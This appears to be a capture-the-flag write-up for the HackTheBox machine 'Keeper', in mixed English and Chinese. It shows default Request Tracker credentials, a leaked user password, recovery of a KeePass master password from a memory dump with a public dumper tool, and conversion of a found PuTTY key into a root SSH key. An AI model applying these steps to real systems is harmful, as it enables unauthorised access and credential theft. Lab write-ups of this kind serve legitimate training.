---
# System prepended metadata

title: Keeper
tags: [htb-easy]

---

# Keeper

## 1.nmap scan
![image](https://hackmd.io/_uploads/rJ0QUcYEp.png)
```
sudo vim /etc/hosts
10.10.11.227    tickets.keeper.htb
```
Search for request tracker default username password (or RT 4.4.4 default)
```
root:password
```
admin/user/select/lnorgaard
New user. Initial password set to Welcome2023!
![image](https://hackmd.io/_uploads/rkdRucFEp.png)

## 2.ssh login
```
ssh lnorgaard@10.10.11.227
ls -la
cat user.txt (flag1)
unzip RT30000.zip
(KeePassDumpFull.dmp  passcodes.kdbx)
```
search for keepass dmp

[kali]
git clone https://github.com/vdohney/keepass-password-dumper

#文件傳輸(netcat(nc).scp...)
```
scp lnorgaard@10.129.122.221:~/RT30000.zip .
```

查看github readme.md執行指令
```
vim keepass_password_dumper.csproj
(dotnet版本改6)
```
```
dotnet run KeePassDumpFull.dmp(PATH_TO_DUMP)
```
![image](https://hackmd.io/_uploads/BkFL5_IZp.png)

dump下來發現字串：rødgrød med fløde (奶油紅粥-丹麥文)

## 3.puttygen ssh key
[kali]
Search "kdbx how to open"
keepass2

open file passcodes.kdbx
password:rødgrød med fløde

![image](https://hackmd.io/_uploads/Bk1AC_Iba.png)
取得root密碼F4><3K0nd!
Search "PuTTY-User-Key-File-3"
puttygen
Search "kali puttygen ssh key"
https://www.ssh.com/academy/ssh/putty/linux/puttygen

複製notes全部內容在[file].ppk
![image](https://hackmd.io/_uploads/BJqzkt8ZT.png)


```
puttygen putty.ppk -O private-openssh -o id_rsa
```

```
ssh root@10.10.11.227 -i id_rsa
```

![image](https://hackmd.io/_uploads/H1dff6KEa.png)

cat root.txt (flag2)